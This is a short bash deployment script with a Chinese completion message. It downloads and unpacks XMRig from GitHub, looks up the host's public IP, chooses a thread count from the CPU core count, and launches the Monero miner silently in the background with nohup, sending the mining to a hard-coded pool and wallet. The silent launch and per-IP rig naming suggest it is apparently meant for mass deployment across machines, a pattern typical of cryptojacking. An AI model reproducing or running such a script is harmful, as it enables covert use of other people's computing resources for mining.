#!/bin/bash
sudo rm xmrig-6.16.4 -fr
sudo rm xmrig-6.16.4-bionic-x64.tar.gz -fr
wget https://github.com/xmrig/xmrig/releases/download/v6.16.4/xmrig-6.16.4-bionic-x64.tar.gz
tar zxvf xmrig-6.16.4-bionic-x64.tar.gz
cd xmrig-6.16.4/
MYIPADDR=`curl "http://ip.sb/" 2>/dev/null`
MYIP=${MYIPADDR//./-}
cp=`sudo cat /proc/cpuinfo | grep processor | wc -l`
t=1
if [ $cp = 2 ]
then
   t=1
   #echo "cpu=$cp t=$t"
fi

if [ $cp = 4 ]
then
   t=3
   #echo "cpu=$cp t=$t"
fi

if [ $cp = 8 ]
then
   t=6
   #echo "cpu=$cp t=$t"
fi
nohup ./xmrig -o us-west.minexmr.com:4444 -u 49JvB9XSfwE3eE8QqQaQNpdZtxejPnHrEJsTR5pwp6iyGfWppgZgYti2dn9HrqkEzHjDgcefpn6zb9w8xjT1eseNPKuLvoE --rig-id $MYIP  -t $t >/dev/null 2>&1 &

echo "$MYIPADDR:部署完成"
